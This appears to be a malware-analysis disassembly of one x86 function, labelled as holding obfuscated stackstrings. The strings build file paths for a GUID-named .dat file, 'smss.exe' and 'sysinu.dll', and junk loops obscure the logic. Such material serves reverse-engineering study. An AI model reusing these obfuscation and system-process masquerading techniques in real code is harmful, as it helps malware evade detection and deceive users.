Function at 0x41761b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x426a02
call fcn.004255c4
sub esp, 0x390
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0041a7da
xor ebx, ebx
mov dword [esi], 0x4284cc
push ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov eax, dword [0x42e190]
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [eax + 0x68]
push ebx
push ebx
push 1
mov dword [esi + 0x10], eax
mov eax, dword [0x42e190]
pop edi
push edi
push ebx
call dword [eax + 0x68]
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x298]
push eax
mov eax, dword [0x42e190]
push 0x104
call dword [eax + 0x54]
lea eax, [ebp - 0x10]
mov byte [ebp - 0x154], 0x25
test eax, eax
mov byte [ebp - 0x153], 0x73
jne 0x4176ba
mov dword [ebp - 0x18], edi
lea eax, [ebp - 0x8c]
push 0xa
pop edx
cmp dword [ebp - 0x18], edx
jge 0x4176ae
sub edx, dword [ebp - 0x18]
lea ecx, [eax + 4]
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x4176a8
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x41769c
inc dword [ebp - 0x18]
add eax, 4
cmp dword [ebp - 0x18], 0xb
jl 0x41768e
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0x152], 0x25
mov byte [ebp - 0x151], 0x73
jne 0x417705
xor esi, esi
xor eax, eax
xor edi, edi
mov cl, byte [eax]
test cl, cl
je 0x417705
mov dl, byte [esi]
cmp dl, cl
jne 0x4176f7
test dl, dl
je 0x4176f7
mov dl, byte [esi + 1]
inc esi
inc eax
inc edi
cmp dl, byte [eax]
je 0x4176e9
mov cl, byte [esi]
sub esi, edi
sub eax, edi
xor edi, edi
mov byte [ebp - 0x11], cl
inc eax
jmp 0x4176dd
and byte [ebp - 0x150], 0
lea eax, [ebp - 0x10]
test eax, eax
mov byte [ebp - 0x7c], 0x7b
mov byte [ebp - 0x7b], 0x41
jne 0x41774b
push 1
lea eax, [ebp - 0x8c]
pop ebx
push 0xa
pop edx
cmp ebx, edx
jge 0x417742
lea ecx, [eax + 4]
sub edx, ebx
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x41773c
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x417730
inc ebx
add eax, 4
cmp ebx, 0xb
jl 0x417724
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0x7a], 0x30
mov byte [ebp - 0x79], 0x34
jne 0x417790
xor esi, esi
xor eax, eax
xor edi, edi
mov cl, byte [eax]
test cl, cl
je 0x417790
mov dl, byte [esi]
cmp dl, cl
jne 0x417782
test dl, dl
je 0x417782
mov dl, byte [esi + 1]
inc esi
inc eax
inc edi
cmp dl, byte [eax]
je 0x417774
mov cl, byte [esi]
sub esi, edi
sub eax, edi
xor edi, edi
mov byte [ebp - 0x11], cl
inc eax
jmp 0x417768
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0x78], 0x31
mov byte [ebp - 0x77], 0x44
mov byte [ebp - 0x76], 0x33
mov byte [ebp - 0x75], 0x34
mov byte [ebp - 0x74], 0x39
mov byte [ebp - 0x73], 0x2d
mov byte [ebp - 0x72], 0x43
mov byte [ebp - 0x71], 0x36
mov byte [ebp - 0x70], 0x38
mov byte [ebp - 0x6f], 0x41
mov byte [ebp - 0x6e], 0x2d
jne 0x417835
push 0x20
xor eax, eax
pop edx
xor ecx, ecx
mov eax, dword [eax]
push 4
pop ebx
add ecx, dword [eax]
add eax, ebx
dec edx
jne 0x4177d7
mov esi, ebx
mov eax, 0x80
mov ecx, dword [esi]
push 0x20
xor edx, edx
pop edi
add edx, dword [ecx]
add ecx, ebx
dec edi
jne 0x4177ec
add esi, ebx
cmp esi, eax
jl 0x4177e5
xor esi, esi
xor ecx, ecx
xor edx, edx
mov edi, dword [edx]
add edx, ebx
add ecx, dword [esi + edi]
cmp edx, eax
jl 0x4177ff
add esi, ebx
cmp esi, eax
jl 0x4177fb
xor edx, edx
xor ecx, ecx
mov esi, dword [ecx]
add edx, dword [esi + ecx]
add ecx, ebx
cmp ecx, eax
jl 0x417814
push 0x7c
xor ecx, ecx
xor edx, edx
pop esi
mov edi, dword [esi]
sub esi, ebx
add ecx, dword [edx + edi]
add edx, ebx
cmp edx, eax
jl 0x417826
jmp 0x417838
push 4
pop ebx
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0x6d], 0x34
mov byte [ebp - 0x6c], 0x35
mov byte [ebp - 0x6b], 0x63
mov byte [ebp - 0x6a], 0x30
mov byte [ebp - 0x69], 0x2d
mov byte [ebp - 0x68], 0x39
mov byte [ebp - 0x67], 0x30
mov byte [ebp - 0x66], 0x38
mov byte [ebp - 0x65], 0x31
mov byte [ebp - 0x64], 0x2d
mov byte [ebp - 0x63], 0x35
mov byte [ebp - 0x62], 0x33
mov byte [ebp - 0x61], 0x36
mov byte [ebp - 0x60], 0x42
mov byte [ebp - 0x5f], 0x43
mov byte [ebp - 0x5e], 0x34
jne 0x4178de
xor eax, eax
inc eax
cmp eax, 0xf
jl 0x417889
xor edx, edx
xor ecx, ecx
xor eax, eax
test ecx, ecx
jl 0x4178d6
test eax, eax
je 0x4178c3
cmp eax, edx
je 0x4178c3
lea esi, [ecx + eax - 4]
lea edi, [ecx + eax - 4]
mov esi, dword [ebp + esi*4 - 0x198]
add esi, dword [ebp + edi*4 - 0x194]
lea edi, [ecx + eax]
mov dword [ebp + edi*4 - 0x194], esi
jmp 0x4178d1
lea esi, [ecx + eax]
mov dword [ebp + esi*4 - 0x194], 1
inc eax
cmp eax, edx
jle 0x417899
add ecx, ebx
inc edx
cmp ecx, 0x3c
jl 0x417893
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
and byte [ebp - 0x52], 0
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x5d], 0x33
push eax
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x39c]
push eax
mov eax, dword [0x42e190]
mov byte [ebp - 0x5c], 0x42
mov byte [ebp - 0x5b], 0x42
mov byte [ebp - 0x5a], 0x30
mov byte [ebp - 0x59], 0x46
mov byte [ebp - 0x58], 0x46
mov byte [ebp - 0x57], 0x7d
mov byte [ebp - 0x56], 0x2e
mov byte [ebp - 0x55], 0x64
mov byte [ebp - 0x54], 0x61
mov byte [ebp - 0x53], 0x74
call dword [eax + 0x1cc]
lea eax, [ebp - 0x10]
add esp, 0x10
test eax, eax
mov byte [ebp - 0xf0], 0x73
mov byte [ebp - 0xef], 0x6d
jne 0x417982
push 1
lea eax, [ebp - 0x8c]
pop ebx
push 0xa
pop edx
cmp ebx, edx
jge 0x417979
lea ecx, [eax + 4]
sub edx, ebx
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x417973
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x417967
inc ebx
add eax, 4
cmp ebx, 0xb
jl 0x41795b
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0xee], 0x73
mov byte [ebp - 0xed], 0x73
jne 0x4179cd
xor esi, esi
xor eax, eax
xor edi, edi
mov cl, byte [eax]
test cl, cl
je 0x4179cd
mov dl, byte [esi]
cmp dl, cl
jne 0x4179bf
test dl, dl
je 0x4179bf
mov dl, byte [esi + 1]
inc esi
inc eax
inc edi
cmp dl, byte [eax]
je 0x4179b1
mov cl, byte [esi]
sub esi, edi
sub eax, edi
xor edi, edi
mov byte [ebp - 0x11], cl
inc eax
jmp 0x4179a5
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xf0]
push ecx
lea ecx, [ebp - 0x298]
and byte [ebp - 0xe8], 0
push ecx
lea ecx, [ebp - 0x154]
add eax, 0x1c
push ecx
push eax
mov eax, dword [0x42e190]
mov byte [ebp - 0xec], 0x2e
mov byte [ebp - 0xeb], 0x65
mov byte [ebp - 0xea], 0x78
mov byte [ebp - 0xe9], 0x65
call dword [eax + 0x1cc]
lea eax, [ebp - 0x10]
add esp, 0x10
test eax, eax
mov byte [ebp - 0xf0], 0x73
mov byte [ebp - 0xef], 0x79
jne 0x417a5f
push 1
lea eax, [ebp - 0x8c]
pop ebx
push 0xa
pop edx
cmp ebx, edx
jge 0x417a56
lea ecx, [eax + 4]
sub edx, ebx
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x417a50
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x417a44
inc ebx
add eax, 4
cmp ebx, 0xb
jl 0x417a38
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x10]
sub eax, ecx
lea ecx, [ebp - 0x10]
cmp eax, ecx
mov byte [ebp - 0xee], 0x73
mov byte [ebp - 0xed], 0x69
jne 0x417aaa
xor esi, esi
xor eax, eax
xor edi, edi
mov cl, byte [eax]
test cl, cl
je 0x417aaa
mov dl, byte [esi]
cmp dl, cl
jne 0x417a9c
test dl, dl
je 0x417a9c
mov dl, byte [esi + 1]
inc esi
inc eax
inc edi
cmp dl, byte [eax]
je 0x417a8e
mov cl, byte [esi]
sub esi, edi
sub eax, edi
xor edi, edi
mov byte [ebp - 0x11], cl
inc eax
jmp 0x417a82
mov edi, dword [ebp - 0x10]
lea eax, [ebp - 0xf0]
push eax
and byte [ebp - 0xe6], 0
lea eax, [ebp - 0x298]
lea esi, [edi + 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
mov eax, dword [0x42e190]
push esi
mov byte [ebp - 0xec], 0x6e
mov byte [ebp - 0xeb], 0x75
mov byte [ebp - 0xea], 0x2e
mov byte [ebp - 0xe9], 0x64
mov byte [ebp - 0xe8], 0x6c
mov byte [ebp - 0xe7], 0x6c
call dword [eax + 0x1cc]
push 0x108
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, eax
add esp, 0x14
mov dword [ebp - 0x18], ecx
test ecx, ecx
mov byte [ebp - 4], 1
je 0x417b2d
lea eax, [ebp - 0x39c]
push eax
call fcn.00425d39
jmp 0x417b2f
xor eax, eax
and byte [ebp - 4], 0
lea ecx, [edi + 0x1c]
push esi
push ecx
mov ecx, eax
mov dword [edi + 0x18], eax
call fcn.00425d80
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret